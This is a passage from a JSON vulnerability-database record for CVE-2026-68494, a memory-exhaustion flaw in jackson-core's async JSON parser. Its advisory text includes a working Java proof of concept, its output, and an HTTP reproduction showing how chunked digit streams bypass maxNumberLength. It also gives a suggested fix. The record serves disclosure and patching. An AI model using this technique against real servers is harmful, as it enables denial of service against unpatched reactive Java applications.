org/CVERecord?id=CVE-2026-2575","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-2575","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-4634","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2450250","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-4634","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-4634","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-7307","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2476526","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-7307","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-7307","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-7507","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2464145","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-7507","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-7507","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:76129","tags":["advisory"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_76129.json","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:76130","tags":["advisory"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_76130.json","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202624149-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1273856","tags":["report"]},{"url":"https://bugzilla.suse.com/1273857","tags":["report"]},{"url":"https://bugzilla.suse.com/1277883","tags":["report"]},{"url":"https://bugzilla.suse.com/1278008","tags":["report"]},{"url":"https://bugzilla.suse.com/1280125","tags":["report"]},{"url":"https://bugzilla.suse.com/1282491","tags":["report"]},{"url":"https://bugzilla.suse.com/1282492","tags":["report"]},{"url":"https://bugzilla.suse.com/1282505","tags":["report"]},{"url":"https://bugzilla.suse.com/1282641","tags":["report"]},{"url":"https://bugzilla.suse.com/1282645","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-18401","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-19032","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-68494","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-68497","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-68498","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-83557","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-89407","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-89425","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-91776","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-91777","tags":["web"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-20264394-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1282639","tags":["report"]},{"url":"https://bugzilla.suse.com/1282640","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-68495","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-68496","tags":["web"]},{"url":"https://ubuntu.com/security/CVE-2026-68494","tags":["report"]},{"url":"","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2026-68494","title":"jackson-core: Async parser maxNumberLength bypass via chunked digit accumulation (incomplete fix for CVE-2026-18401 / GHSA-72hv-8253-57qq)","description":"The fix released in jackson-core 2.18.6 and 2.21.1 for CVE-2026-18401 (GHSA-72hv-8253-57qq, number length constraint bypass in the non-blocking parser) is incomplete. This record covers the remaining bypass.\n\nThe earlier fix wired validateIntegerLength() into a new _setIntLength() helper and invoked it wherever the integer portion of a number is decided: a terminator byte arrives, a '.' or 'e'/'E' is seen, or input ends inside a fully buffered value. It was not invoked on the attacker-relevant path where the parser runs out of input while still inside the MINOR_NUMBER_INTEGER_DIGITS minor state and returns NOT_AVAILABLE to the caller.\n\nAs a result, an attacker who streams JSON to a non-blocking parser in many small chunks, without ever sending a terminator byte, keeps the parser inside MINOR_NUMBER_INTEGER_DIGITS indefinitely. _textBuffer.expandCurrentSegment() grows the accumulator on every chunk while validateIntegerLength() is never called. The accumulator is bounded only by maxStringLength (20 MiB by default) rather than by maxNumberLength (1000 by default), an amplification of roughly 20,000x over the documented limit. Because Java char values occupy two bytes, a single connection can be driven to approximately 40 MiB of heap before the validator finally fires when the value completes.\n\nThe equivalent fraction-path code is correct: _finishFloatFraction() calls _setFractLength() before its NOT_AVAILABLE return. The missing call affects the integer-digit paths in _startPositiveNumber(), _startNegativeNumber() and _finishNumberIntegralPart() in NonBlockingUtf8JsonParserBase.\n\nImpact: reactive frameworks such as Spring WebFlux/Reactor, Quarkus, Helidon and Vert.x feed inbound HTTP or gRPC bytes to the async parser as they arrive, which is precisely the chunked-feed shape required. Operators who set StreamReadConstraints.maxNumberLength expecting it to cap memory per number value do not get that guarantee; memory accumulates per concurrent connection and attacker-controlled concurrency can exhaust the JVM heap. The synchronous parsers (UTF8StreamJsonParser, ReaderBasedJsonParser) and the async parser operating on complete input are not affected.\n\nExploitation requires only the ability to stream data to a parsing endpoint; no privileges or user interaction are needed.\n\nThis issue affects com.fasterxml.jackson.core:jackson-core from version 2.15.0 through 2.18.7, and from 2.19.0 through 2.21.3, and tools.jackson.core:jackson-core from 3.0.0 through 3.1.3. Versions prior to 2.15.0 are not affected, because StreamReadConstraints -- which defines the maxNumberLength setting -- was first introduced in jackson-core 2.15.0, so no such constraint exists to be bypassed in earlier releases. Note that GHSA-r7wm-3cxj-wff9 states the affected 2.x range without a lower bound. The 2.22.x and 3.2.x release lines are not affected: those branches were created after the fix commit landed on 2026-05-21 and therefore contain it from their initial releases (2.22.0, tagged 2026-06-03, and 3.2.0, tagged 2026-06-08).","status":"published","published":"2026-08-04T14:39:14.471Z","modified":"2026-08-05T01:39:56.955Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T13:45:59.110885Z"}],"euvd":[{"id":"EUVD-2026-52703","description":"The fix released in jackson-core 2.18.6 and 2.21.1 for CVE-2026-18401 (GHSA-72hv-8253-57qq, number length constraint bypass in the non-blocking parser) is incomplete. This record covers the remaining bypass.\n\nThe earlier fix wired validateIntegerLength() into a new _setIntLength() helper and invoked it wherever the integer portion of a number is decided: a terminator byte arrives, a '.' or 'e'/'E' is seen, or input ends inside a fully buffered value. It was not invoked on the attacker-relevant path where the parser runs out of input while still inside the MINOR_NUMBER_INTEGER_DIGITS minor state and returns NOT_AVAILABLE to the caller.\n\nAs a result, an attacker who streams JSON to a non-blocking parser in many small chunks, without ever sending a terminator byte, keeps the parser inside MINOR_NUMBER_INTEGER_DIGITS indefinitely. _textBuffer.expandCurrentSegment() grows the accumulator on every chunk while validateIntegerLength() is never called. The accumulator is bounded only by maxStringLength (20 MiB by default) rather than by maxNumberLength (1000 by default), an amplification of roughly 20,000x over the documented limit. Because Java char values occupy two bytes, a single connection can be driven to approximately 40 MiB of heap before the validator finally fires when the value completes.\n\nThe equivalent fraction-path code is correct: _finishFloatFraction() calls _setFractLength() before its NOT_AVAILABLE return. The missing call affects the integer-digit paths in _startPositiveNumber(), _startNegativeNumber() and _finishNumberIntegralPart() in NonBlockingUtf8JsonParserBase.\n\nImpact: reactive frameworks such as Spring WebFlux/Reactor, Quarkus, Helidon and Vert.x feed inbound HTTP or gRPC bytes to the async parser as they arrive, which is precisely the chunked-feed shape required. Operators who set StreamReadConstraints.maxNumberLength expecting it to cap memory per number value do not get that guarantee; memory accumulates per concurrent connection and attacker-controlled concurrency can exhaust the JVM heap. The synchronous parsers (UTF8StreamJsonParser, ReaderBasedJsonParser) and the async parser operating on complete input are not affected.\n\nExploitation requires only the ability to stream data to a parsing endpoint; no privileges or user interaction are needed.\n\nThis issue affects com.fasterxml.jackson.core:jackson-core from version 2.15.0 through 2.18.7, and from 2.19.0 through 2.21.3, and tools.jackson.core:jackson-core from 3.0.0 through 3.1.3. Versions prior to 2.15.0 are not affected, because StreamReadConstraints -- which defines the maxNumberLength setting -- was first introduced in jackson-core 2.15.0, so no such constraint exists to be bypassed in earlier releases. Note that GHSA-r7wm-3cxj-wff9 states the affected 2.x range without a lower bound. The 2.22.x and 3.2.x release lines are not affected: those branches were created after the fix commit landed on 2026-05-21 and therefore contain it from their initial releases (2.22.0, tagged 2026-06-03, and 3.2.0, tagged 2026-06-08).","status":"published","published":"2026-08-04T14:39:14Z","modified":"2026-08-05T01:39:56Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T18:02:22.516769Z"}],"ghsa":[{"id":"GHSA-642r-3gj9-2pj5","title":"Duplicate Advisory: jackson-core: Async parser maxNumberLength bypass via chunked digit accumulation (incomplete fix for GHSA-72hv-8253-57qq)","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-r7wm-3cxj-wff9. This link is maintained to preserve external references.\n\n## Original Description\nThe fix released in jackson-core 2.18.6 and 2.21.1 for CVE-2026-18401 (GHSA-72hv-8253-57qq, number length constraint bypass in the non-blocking parser) is incomplete. This record covers the remaining bypass.\n\n\n\nThe earlier fix wired validateIntegerLength() into a new _setIntLength() helper and invoked it wherever the integer portion of a number is decided: a terminator byte arrives, a . or e/E is seen, or input ends inside a fully buffered value. It was not invoked on the attacker-relevant path where the parser runs out of input while still inside the MINOR_NUMBER_INTEGER_DIGITS minor state and returns NOT_AVAILABLE to the caller.\n\n\n\nAs a result, an attacker who streams JSON to a non-blocking parser in many small chunks, without ever sending a terminator byte, keeps the parser inside MINOR_NUMBER_INTEGER_DIGITS indefinitely. _textBuffer.expandCurrentSegment() grows the accumulator on every chunk while validateIntegerLength() is never called. The accumulator is bounded only by maxStringLength (20 MiB by default) rather than by maxNumberLength (1000 by default), an amplification of roughly 20,000x over the documented limit. Because Java char values occupy two bytes, a single connection can be driven to approximately 40 MiB of heap before the validator finally fires when the value completes.\n\n\n\nThe equivalent fraction-path code is correct: _finishFloatFraction() calls _setFractLength() before its NOT_AVAILABLE return. The missing call affects the integer-digit paths in _startPositiveNumber(), _startNegativeNumber() and _finishNumberIntegralPart() in NonBlockingUtf8JsonParserBase.\n\n\n\nImpact: reactive frameworks such as Spring WebFlux/Reactor, Quarkus, Helidon and Vert.x feed inbound HTTP or gRPC bytes to the async parser as they arrive, which is precisely the chunked-feed shape required. Operators who set StreamReadConstraints.maxNumberLength expecting it to cap memory per number value do not get that guarantee; memory accumulates per concurrent connection and attacker-controlled concurrency can exhaust the JVM heap. The synchronous parsers (UTF8StreamJsonParser, ReaderBasedJsonParser) and the async parser operating on complete input are not affected.\n\n\n\nExploitation requires only the ability to stream data to a parsing endpoint; no privileges or user interaction are needed.\n\n\n\nThis issue affects com.fasterxml.jackson.core:jackson-core from version 2.15.0 through 2.18.7, from 2.19.0 through 2.21.3, and from 2.22.0 through 2.22.0, and tools.jackson.core:jackson-core from 3.0.0 through 3.1.3 and from 3.2.0 through 3.2.0. Versions prior to 2.15.0 are not affected, because StreamReadConstraints -- which defines the maxNumberLength setting -- was first introduced in jackson-core 2.15.0, so no such constraint exists to be bypassed in earlier releases. Note that GHSA-r7wm-3cxj-wff9 states the affected 2.x range without a lower bound.","status":"withdrawn","published":"2026-08-04T15:32:24Z","modified":"2026-10-02T23:08:12Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T14:41:25.889593Z"},{"id":"GHSA-r7wm-3cxj-wff9","title":"jackson-core: Async parser maxNumberLength bypass via chunked digit accumulation (incomplete fix for GHSA-72hv-8253-57qq)","description":"## Summary\n\nThe fix released in jackson-core `2.18.6` and `2.21.1` for [GHSA-72hv-8253-57qq](https://github.com/FasterXML/jackson-core/security/advisories/GHSA-72hv-8253-57qq) (Number Length Constraint Bypass in Async Parser, published 2026-02-28) is incomplete. The fix commit `b0c428e6` (#1555) wired `validateIntegerLength` into a new `_setIntLength` helper and called it at every place where the integer portion of a number is *decided* (terminator byte arrived, `.` / `e/E` seen, end-of-feed inside a fully-buffered value). It did not call it on the much more attacker-relevant path: \"ran out of input while still inside `MINOR_NUMBER_INTEGER_DIGITS`, return `NOT_AVAILABLE` to caller\".\n\nAs a result, an attacker who streams JSON to a non-blocking parser in many small chunks, without ever sending a terminator byte, can keep the parser inside `MINOR_NUMBER_INTEGER_DIGITS` indefinitely. `_textBuffer.expandCurrentSegment()` grows on every chunk, and `validateIntegerLength` is never invoked. The accumulator is only gated by `maxStringLength` (20 MiB default) — a **~20,000x amplification** of the documented `maxNumberLength` (1000 default).\n\nThis is the same vulnerability class, same advisory wording (\"Memory Exhaustion: Unbounded allocation in TextBuffer from excessively long numbers\"), same parser class — just the streaming path the original fix didn't cover. The fix to the *fraction* path is correct (see `_finishFloatFraction` at line 1834-1837 of `NonBlockingUtf8JsonParserBase.java` in 2.18.6, where `_setFractLength(fractLen)` IS called before the `NOT_AVAILABLE` return); the equivalent call is missing from every integer-digit path.\n\n## Affected versions\n\nVerified on the patched releases:\n- `com.fasterxml.jackson.core:jackson-core` **2.18.6**\n- `com.fasterxml.jackson.core:jackson-core` **2.21.1**\n\nStructurally identical code in `tools.jackson.core` 3.0.x / 3.1.x — same `NonBlockingUtf8JsonParserBase` class, same `_setIntLength` rollout, same NOT_AVAILABLE returns without validation. Not retested but presumed vulnerable.\n\n## Affected code\n\n[`src/main/java/com/fasterxml/jackson/core/json/async/NonBlockingUtf8JsonParserBase.java`](https://github.com/FasterXML/jackson-core/blob/b0c428e6/src/main/java/com/fasterxml/jackson/core/json/async/NonBlockingUtf8JsonParserBase.java) in 2.18.6 / 2.21.1.\n\n### Site 1 — `_startPositiveNumber(int ch)` lines 1320-1330:\n\n```java\nif (outPtr \u003e= outBuf.length) {\n    // NOTE: must expand to ensure contents all in a single buffer (to keep\n    // other parts of parsing simpler)\n    outBuf = _textBuffer.expandCurrentSegment();\n}\noutBuf[outPtr++] = (char) ch;\nif (++_inputPtr \u003e= _inputEnd) {\n    _minorState = MINOR_NUMBER_INTEGER_DIGITS;\n    _textBuffer.setCurrentLength(outPtr);\n    return _updateTokenToNA();          // \u003c-- no validateIntegerLength(outPtr)\n}\n```\n\n### Site 2 — `_finishNumberIntegralPart` lines 1691-1727:\n\n```java\nprotected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException {\n    int negMod = _numberNegative ? -1 : 0;\n\n    while (true) {\n        if (_inputPtr \u003e= _inputEnd) {\n            _minorState = MINOR_NUMBER_INTEGER_DIGITS;\n            _textBuffer.setCurrentLength(outPtr);\n            return _updateTokenToNA();    // \u003c-- no validateIntegerLength(outPtr + negMod)\n        }\n        int ch = getByteFromBuffer(_inputPtr) \u0026 0xFF;\n        if (ch \u003c INT_0) {\n            if (ch == INT_PERIOD) {\n                _setIntLength(outPtr+negMod);   // \u003c-- validated here\n                ++_inputPtr;\n                return _startFloat(outBuf, outPtr, ch);\n            }\n            break;\n        }\n        if (ch \u003e INT_9) {\n            if ((ch | 0x20) == INT_e) {\n                _setIntLength(outPtr+negMod);   // \u003c-- validated here\n                ++_inputPtr;\n                return _startFloat(outBuf, outPtr, ch);\n            }\n            break;\n        }\n        ++_inputPtr;\n        if (outPtr \u003e= outBuf.length) {\n            outBuf = _textBuffer.expandCurrentSegment();\n        }\n        outBuf[outPtr++] = (char) ch;\n    }\n    _setIntLength(outPtr+negMod);            // \u003c-- validated here\n    _textBuffer.setCurrentLength(outPtr);\n    return _valueComplete(JsonToken.VALUE_NUMBER_INT);\n}\n```\n\nThe pattern recurs at lines 1297, 1329, 1343, 1365, 1395, 1409, 1437, 1467, 1481, 1586, 1644, 1698 — every \"ran out of input mid-integer\" exit returns to the caller without validating the accumulator length.\n\n### Compare with the fraction path that is correct\n\n`_finishFloatFraction` lines 1827-1838:\n\n```java\nwhile (loop) {\n    if (ch \u003e= INT_0 \u0026\u0026 ch \u003c= INT_9) {\n        ++fractLen;\n        if (outPtr \u003e= outBuf.length) {\n            outBuf = _textBuffer.expandCurrentSegment();\n        }\n        outBuf[outPtr++] = (char) ch;\n        if (_inputPtr \u003e= _inputEnd) {\n            _textBuffer.setCurrentLength(outPtr);\n            _setFractLength(fractLen);          // \u003c-- VALIDATED\n            return JsonToken.NOT_AVAILABLE;\n        }\n        ch = getNextSignedByteFromBuffer();\n    }\n    ...\n}\n```\n\n## Impact\n\nReactive frameworks (Spring WebFlux / Reactor, Quarkus, Helidon, Vert.x JSON, anything wrapping `JsonFactory.createNonBlockingByteArrayParser()` or `createNonBlockingByteBufferParser()`) feed inbound HTTP/gRPC bytes to the async parser as they arrive. Operators who set `StreamReadConstraints.builder().maxNumberLength(N)` on the assumption that this caps memory per number value are not getting that guarantee in chunked-feed scenarios. The parser silently accumulates digits up to `maxStringLength` (20 MiB default) per concurrent connection. Multiply by attacker-controlled concurrency to OOM the JVM.\n\nThe synchronous parsers (`UTF8StreamJsonParser`, `ReaderBasedJsonParser`) and the async parser on *complete* input are not affected — those paths go through `_setIntLength` or `ParserBase._reportTooLongIntegral` correctly.\n\nCWE-770 (Allocation of Resources Without Limits or Throttling), CVSS roughly the same as the parent advisory (Network / Low complexity / High availability impact). The parent advisory was scored CVSS 8.7 High.\n\n## Proof of concept\n\nStandalone PoC, no Maven required:\n\n```\nmkdir poc \u0026\u0026 cd poc\ncurl -sLo jackson-core-2.18.6.jar https://repo1.maven.org/maven2/com/fasterxml/jackson/core/jackson-core/2.18.6/jackson-core-2.18.6.jar\ncat \u003e PoC.java \u003c\u003c'EOF'\nimport com.fasterxml.jackson.core.*;\nimport com.fasterxml.jackson.core.async.ByteArrayFeeder;\n\npublic class PoC {\n    public static void main(String[] args) throws Exception {\n        StreamReadConstraints strict = StreamReadConstraints.builder()\n                .maxNumberLength(1000)\n                .build();\n        JsonFactory f = new JsonFactoryBuilder()\n                .streamReadConstraints(strict)\n                .build();\n\n        // Sanity: synchronous parser rejects 5000-digit int.\n        try (JsonParser p = f.createParser(\"{\\\"v\\\":\" + \"1\".repeat(5000) + \"}\")) {\n            while (p.nextToken() != null) { /* drive */ }\n            System.out.println(\"[-] BUG ABSENT: sync parser accepted\");\n            return;\n        } catch (Exception e) {\n            System.out.println(\"[+] sync parser rejected 5000-digit int: \" + e.getClass().getSimpleName());\n        }\n\n        // Bug: async parser, chunked, no terminator.\n        JsonParser ap = f.createNonBlockingByteArrayParser();\n        ByteArrayFeeder feeder = (ByteArrayFeeder) ap;\n\n        byte[] preamble = \"{\\\"v\\\":\".getBytes(\"UTF-8\");\n        feeder.feedInput(preamble, 0, preamble.length);\n        while (ap.nextToken() != JsonToken.NOT_AVAILABLE) { /* drain */ }\n\n        byte[] digits = new byte[16 * 1024];\n        for (int i = 0; i \u003c digits.length; i++) digits[i] = (byte) ('1' + (i % 9));\n\n        for (int c = 0; c \u003c 600; c++) {\n            feeder.feedInput(digits, 0, digits.length);\n            JsonToken t = ap.nextToken();\n            if (t != JsonToken.NOT_AVAILABLE) {\n                System.out.println(\"[-] unexpected token: \" + t);\n                return;\n            }\n        }\n        System.out.println(\"[+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000\");\n\n        // Closing the number now finally triggers the validator.\n        feeder.feedInput(\"}\".getBytes(\"UTF-8\"), 0, 1);\n        feeder.endOfInput();\n        try {\n            while (ap.nextToken() != null) { /* drive */ }\n        } catch (Exception e) {\n            System.out.println(\"[*] late rejection on close: \" + e.getMessage().split(\"\\n\")[0]);\n        }\n        ap.close();\n    }\n}\nEOF\njavac -cp jackson-core-2.18.6.jar PoC.java\njava -Xmx256m -cp jackson-core-2.18.6.jar:. PoC\n```\n\nObserved output against `jackson-core-2.18.6`:\n\n```\n[+] sync parser rejected 5000-digit int: StreamConstraintsException\n[+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000\n[*] late rejection on close: Number value length (9830400) exceeds the maximum allowed (1000, from `StreamReadConstraints.getMaxNumberLength()`)\n```\n\nObserved output against `jackson-core-2.21.1`: identical.\n\nThe 9.83 MB figure is purely a function of the loop bound (600 chunks * 16 KiB). The actual ceiling is `maxStringLength = 20 MiB`. With the strict policy declared as `maxNumberLength = 1000`, the parser permits **9830x** more allocation than the policy allows. With `maxStringLength` left at the default 20 MiB, an attacker can drive a single connection to 40 MiB of `char[]` heap (chars are 2 bytes each) before the validator finally fires on terminator/`endOfInput()`. Multiply by concurrent connections.\n\n## End-to-end reproduction through real HTTP\n\nSupplements the standalone PoC with a running Spring Boot WebFlux server,\ndriving the same bug through the actual reactor-netty + Jackson2JsonDecoder\nstreaming-decode path that production reactive endpoints use.\n\nSetup:\n- Spring Boot 3.3.5 starter-webflux (spring-webflux 6.1.14, reactor-netty 1.1.23)\n- jackson-databind 2.17.2, jackson-core overridden:\n  - VULN run: `com.fasterxml.jackson.core:jackson-core:2.18.7` (latest published)\n  - PATCHED run: `2.18.8-SNAPSHOT` built from the fix branch\n- JVM: OpenJDK 17.0.18\n- Server `JsonFactory` configured with `StreamReadConstraints.builder().maxNumberLength(1000).build()`\n\nEndpoint under test exposes the `Flux\u003cDataBuffer\u003e` request body directly to\n`Jackson2JsonDecoder.decode(Flux, ResolvableType, ...)` so the parser sees one\nHTTP chunk per `feedInput` (the same pattern used for any\n`@RequestBody Flux\u003c...\u003e` / streaming JSON decoder in WebFlux). A raw-socket\nHTTP/1.1 chunked client streams `{\"v\":1` then 250 chunks of 200 digit bytes\neach (50,000 digits total) at 20ms intervals, then writes the closing `}`.\n\nVULN — jackson-core 2.18.7:\n```\n[VULN-SMALLCHUNK] streamed 50000 digits across 250 chunks; server still accepting\n[VULN-SMALLCHUNK] full POST sent (50000 digits). Response:\nHTTP/1.1 200 OK\nERR after 6548ms cause=com.fasterxml.jackson.core.exc.StreamConstraintsException:\n       Number value length (50000) exceeds the maximum allowed (1000, ...)\n```\nServer-side controller trace (250 DataBuffer arrivals elided):\n```\n[ctrl] DataBuffer arrived size=6   ms=39       \u003c- '{\"v\":1'\n[ctrl] DataBuffer arrived size=200 ms=42\n...\n[ctrl] DataBuffer arrived size=199 ms=5993\n[ctrl] DataBuffer arrived size=1   ms=6518     \u003c- closing '}'\n[ctrl] ERR after 6548ms ... Number value length (50000) exceeds ...\n```\nServer held all 50,000 digit characters in `_textBuffer` for 6.5 seconds with\n`maxNumberLength=1000` declared. The validator never fires during streaming;\nit only fires at value-completion when the closing `}` arrives.\n\nPATCHED — jackson-core 2.18.8-SNAPSHOT (fix branch):\n```\n[PATCHED-SMALLCHUNK] connection broke after 2801 digits at chunk 14: [Errno 32] Broken pipe\n[PATCHED-SMALLCHUNK] DONE: digits_sent=2801 status=connection-broke-mid-stream\n```\nServer-side controller trace:\n```\n[ctrl] DataBuffer arrived size=6   ms=129\n[ctrl] DataBuffer arrived size=200 ms=142\n[ctrl] DataBuffer arrived size=200 ms=142\n[ctrl] DataBuffer arrived size=200 ms=145\n[ctrl] DataBuffer arrived size=200 ms=146\n[ctrl] DataBuffer arrived size=200 ms=147\n[ctrl] ERR after 155ms ... Number value length (1001) exceeds the maximum allowed (1000, ...)\n```\nPatched server raises `StreamConstraintsException` at 155ms after only 5\nDataBuffers, exactly when the accumulated digit count crosses\n`maxNumberLength=1000`. The connection is reset mid-stream rather than the\nparser silently consuming the rest of the attacker's payload.\n\nSide-by-side:\n\n| Build | Chunks accepted before exception | Digits buffered | Time to detection |\n|---|---|---|---|\n| jackson-core 2.18.7 | 250 (full payload) | 50,000 (50x the configured limit) | 6,548ms — only at terminator |\n| 2.18.8-SNAPSHOT (fix branch) | 5 | 1,001 | 155ms — moment threshold crossed |\n\nNote on the default `@RequestBody Mono\u003cJsonNode\u003e` path: that path cannot\ndistinguish the two builds because Spring's `decodeToMono` joins all\nDataBuffers into one before parsing. The exploitable shape is the\nstreaming-decode path (`Flux\u003cJsonNode\u003e` / `@RequestBody Flux\u003c...\u003e` /\nWebSocket / SSE / any direct `decoder.decode(Flux\u003cDataBuffer\u003e, ...)` call),\nwhich is also what `Jackson2Tokenizer` uses for any streaming JSON\ndeserialization in WebFlux and Quarkus reactive REST.\n\n## Suggested fix\n\nMirror the pattern already used in `_finishFloatFraction`. At every site that returns `_updateTokenToNA()` (or `JsonToken.NOT_AVAILABLE`) with `_minorState = MINOR_NUMBER_INTEGER_DIGITS`, call `_setIntLength(outPtr + negMod)` first. Concretely, the diff to `NonBlockingUtf8JsonParserBase.java` would be:\n\n```diff\n     protected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException {\n         int negMod = _numberNegative ? -1 : 0;\n\n         while (true) {\n             if (_inputPtr \u003e= _inputEnd) {\n                 _minorState = MINOR_NUMBER_INTEGER_DIGITS;\n                 _textBuffer.setCurrentLength(outPtr);\n+                _streamReadConstraints.validateIntegerLength(outPtr + negMod);\n                 return _updateTokenToNA();\n             }\n```\n\nNote: `_setIntLength` itself can't be used as-is because it also assigns `_intLength`, and `_intLength` must not be set until the integer is truly complete (subsequent fraction handling reads `_intLength`). The minimal fix is to call only the validator, as shown.\n\nApply the same one-line insertion before each `return _updateTokenToNA();` that exits with `_minorState = MINOR_NUMBER_INTEGER_DIGITS`. The sites are listed above (12 lines total).\n\nAlternatively, a heavier refactor: also gate `_textBuffer.expandCurrentSegment()` calls inside the digit-accumulation loops on `outPtr \u003c maxNumberLength` so that the validator fires at the moment the buffer would be enlarged past the limit, rather than waiting for the next chunk boundary. Either approach is sufficient.\n\n## Credit\n\nReported by `tonghuaroot` (`tonghuaroot@gmail.com`). Variant hunt against the Feb 2026 fix for GHSA-72hv-8253-57qq.","status":"published","published":"2026-07-21T21:58:53Z","modified":"2026-10-02T23:08:42Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T14:41:25.889593Z"}],"nvd":[{"id":"CVE-2026-68494","description":"The fix released in jackson-core 2.18.6 and 2.21.1 for CVE-2026-18401 (GHSA-72hv-8253-57qq, number length constraint bypass in the non-blocking parser) is incomplete. This record covers the remaining bypass.\n\nThe earlier fix wired validateIntegerLength() into a new _setIntLength() helper and invoked it wherever the integer portion of a number is decided: a terminator byte arrives, a '.' or 'e'/'E' is seen, or input ends inside a fully buffered value. It was not invoked on the attacker-relevant path where the parser runs out of input while still inside the MINOR_NUMBER_INTEGER_DIGITS minor state and returns NOT_AVAILABLE to the caller.\n\nAs a result, an attacker who streams JSON to a non-blocking parser in many small chunks, without ever sending a terminator byte, keeps the parser inside MINOR_NUMBER_INTEGER_DIGITS indefinitely. _textBuffer.expandCurrentSegment() grows the accumulator on every chunk while validateIntegerLength() is never called. The accumulator is bounded only by maxStringLength (20 MiB by default) rather than by maxNumberLength (1000 by default), an amplification of roughly 20,000x over the documented limit. Because Java char values occupy two bytes, a single connection can be driven to approximately 40 MiB of heap before the validator finally fires when the value completes.\n\nThe equivalent fraction-path code is correct: _finishFloatFraction() calls _setFractLength() before its NOT_AVAILABLE return. The missing call affects the integer-digit paths in _startPositiveNumber(), _startNegativeNumber() and _finishNumberIntegralPart() in NonBlockingUtf8JsonParserBase.\n\nImpact: reactive frameworks such as Spring WebFlux/Reactor, Quarkus, Helidon and Vert.x feed inbound HTTP or gRPC bytes to the async parser as they arrive, which is precisely the chunked-feed shape required. Operators who set StreamReadConstraints.maxNumberLength expecting it to cap memory per number value do not get that guarantee; memory accumulates per concurrent connection and attacker-controlled concurrency can exhaust the JVM heap. The synchronous parsers (UTF8StreamJsonParser, ReaderBasedJsonParser) and the async parser operating on complete input are not affected.\n\nExploitation requires only the ability to stream data to a parsing endpoint; no privileges or user interaction are needed.\n\nThis issue affects com.fasterxml.jackson.core:jackson-core from version 2.15.0 through 2.18.7, and from 2.19.0 through 2.21.3, and tools.jackson.core:jackson-core from 3.0.0 through 3.1.3. Versions prior to 2.15.0 are not affected, because StreamReadConstraints -- which defines the maxNumberLength setting -- was first introduced in jackson-core 2.15.0, so no such constraint exists to be bypassed in earlier releases. Note that GHSA-r7wm-3cxj-wff9 states the affected 2.x range without a lower bound. The 2.22.x and 3.2.x release lines are not affected: those branches were created after the fix commit landed on 2026-05-21 and therefore contain it from their initial releases (2.22.0, tagged 2026-06-03, and 3.2.0, tagged 